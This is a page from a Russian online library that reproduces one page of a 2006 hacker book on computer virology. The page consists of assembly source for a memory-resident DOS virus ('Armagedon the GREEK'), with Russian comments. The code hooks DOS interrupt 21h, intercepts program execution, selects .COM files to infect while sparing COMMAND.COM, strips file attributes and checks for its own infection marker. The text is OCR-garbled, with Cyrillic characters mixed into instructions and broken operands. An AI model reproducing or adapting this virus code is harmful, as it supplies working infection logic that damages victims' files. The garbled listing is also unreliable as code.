Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 41 42 43 44 45 46 < 47 > 48 49 50 51 52 53 .. 123 >> Следующая

ах popf ;и выходим из прерывания
iret
not_seg_req:
cmp ах,4В00 '.загрузить и выполнить?
168
ГЛАВА 4. Вирус - резидент памяти
je Infect '.начинаем инфицирование Go_int_21: ,
popf
; jmp dword ptrcs:[int_21_Off]
db 2e,0ff,2e,22,01 ;прыжок к int 21 (сделан)
;основные данные: int_21_Off dw 138dh
int_21_Seg dw 029a
int_08_Off dw 022Bh
int_08_Seg dw 70
Ready_Byte db 0
Timing_Counter db 8
save_time_a db 10
save_time_b db 9
save_date db 34
Bytes_Written dw 0
waste_byte db 0
Character_Count db 0
Data_Ready db 0
Ports_lnitialized db 0
com db •COM1
handle dw 5
file_size dw 2
db 0.0 mem_allocated dw 1301 save ss dw 12AC
189
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
save_sp dw OFFFE
filename_seg dw 9B70 ,
filename_off dw 3D5Bh
attribs dw 20
file_date dw 0EC2
filejime dw 6E68
db 0,0,81,0
cs_save_3 dw 12AC
db 5C.0
cs_save_1 dw 12 AC
db 6C,0
cs save 2 dw 12AC
Infect:
push ds bx si cx ax dx bp es di сохраняем регистры
cld ;очищаем индекс направления
push dx ds '.сохраняем адрес имени файла
хог сх.сх ;обнуляем сх для использования счетчика mov si.dx перемещаем
офсет имени файла в si
Find_End_Of_Filename:
mov al,[si] ;получаем букву из имени файла
. cmp al,0 ;мы уже в конце имени файла?
je Check_Filename ; да? Переходим к 1ос_7 inc сх ;счет
inc si -.указатель на следующий символ
jmp short Find_End_Of_Filename
Check_Filename:
add dx.cx добавляем длину имени файла к
170
ГЛАВА 4. Вирус - резидент памяти
;началу адреса имени файла sub dx,3 ;вычитаем 3 для расширения mov
si,offset com ;com='COM' mov di.dx устанавливаем di=dx на Check
;Следующие несколько строк чека (проверки) для Command.Com:
cmp byte ptr [di-3],4E ;предпоследняя буква'N'? jne setup_check ;если
нет, то это не COMMAND,
;и тогда переходим к 1ос_8 cmp byte ptr [di-2],44 ;последняя буква'D'?
je lnfect_Error ;если да, то это COMMAND,
;переходим к lnfect_Error.
setup_check:
mov сх,3 настраиваем петлю
check_if_com:
mov al.es: [si]
cmp al,[di]
jne lnfect_Error
inc si проверка расширения 'COM'
inc di ;если да, инфицируем, в ином случае loop check_if_com переходим к
lnfect_Error
pop ds
pop dx ;восстанавливаем оригинальное имя файла
push dx ;адрес к ds:dx, затем
push ds ;вталкиваем их обратно в стек
mov si.dx mov dl,0
cmp byteptr[si+1],3A ;втораябуква':?т.е. файл на другом
171
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
доске?
jne Get_Free_Disk_Space ;нет? Переходим к ; Get_Free_Disk_Space mov
dl,[si] ;получаем номер диска, если файл на and dl.OF ;другом диске
Get_Free_Disk_Space:
mov ah,36
int 21 h ; получаем свободное пространство
доска. DL=ahck cmp ax.OFFFF je lnfect_Error jmp short Continuejnfect nop
lnfect_Error:
jmp Pop_And_Quit_lnfect jmp Endjnfect Error_After_Open:
jmp Close_Fi!e jmp Reset_DTA Continue_lnfect:
cmp bx,3 ;если меньше 3 свободных кластеров, jb lnfect_Error ;то выход
pop ds ;ds:dx является адресом имени файла pop dx push ds push dx
mov word ptr cs:[filename_seg],ds ;снова сохраняем ds:dx mov word ptr cs:
[filename_off] ,dx mov ax,4300
ГЛАВА 4. Вирус - резидент памяти
int 21 ;получаем атрибуты файла
mov word ptr cs:[attribs],cx сохраняем атрибуты mov ах,4301 хог сх.сх
устанавливаем атрибуты до нуля int 21 ;и обеспечиваем доступ к записи
mov bx.OFFFF mov ah,48 .назначаем всю свободную память int 21 ; пытаясь
назначить больше, чем возможно
;для компьютера, затем используем mov ah ,48 ;возвращенное число как
количество для int 21 свободной памяти для запроса
mov word ptr cs:[mem_allocated],ax сохраняем сегмент назначенной памяти
mov ax.cs ;указываем ds на cs
mov ds.ax
mov dx,offset new_DTA mov ah,1A
int 21 устанавливаем DTA на память после вируса pop dx pop ds mov ax, 3
DO 2 clc ;очищаем флаг переноса (не обязательно) int 21 ;открываем файл с
доступом для чтения/записи
jc Error_After_Open ;при ошибке переходим к
; Error_After_Open mov bx.ax перемещаем индекс в Ьх
173
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov word ptr cs: [handle] ,ах сохраняем индекс файла mov cx.OFFFF
mov ax,word ptr cs:[mem_aHocated] [получаем сегмент памяти mov ds.ax
указываем ds на него
mov dx,end_main_virus-start mov ah,3F
clc ; очищаем флаг переноса int 2 ;читаем Offff байт из файла
jc Error_After_Open ;при ошибке переходим к
; Error_After_Open mov word ptr cs:[file_size],ax сохраняем размер файла
;(число байтов для чтения)
cmp ах.ОЕООО
ja Error_After_Open ;файл слишком большой, переходим к ; Error_After_Open
cmp ax,end_main_virus-start ;файл меньше, чем вирус? jb Notjnfected ;да,
значит, он не инфицирован, ;переходим к Notjnfected mov si, offset
(end_main_virus+1-100) add si,si устанавливаем SI, чтобы он указывал на
sub si, 15 ;область,'где должно быть текстовое [сообщение, если файл уже
инфицирован mov сх,13 ;длина Text_Message mov di,offset Text_Message
[("Armagedon the GREEK")
Check_For_l nfection:
mov al,byte ptr [si] ;эта петля проверяет текстовое mov ah,cs:byte ptr
[di] [сообщение в исследуемом файле. Если
174
ГЛАВА 4. Вирус - резидент памяти
Предыдущая << 1 .. 41 42 43 44 45 46 < 47 > 48 49 50 51 52 53 .. 123 >> Следующая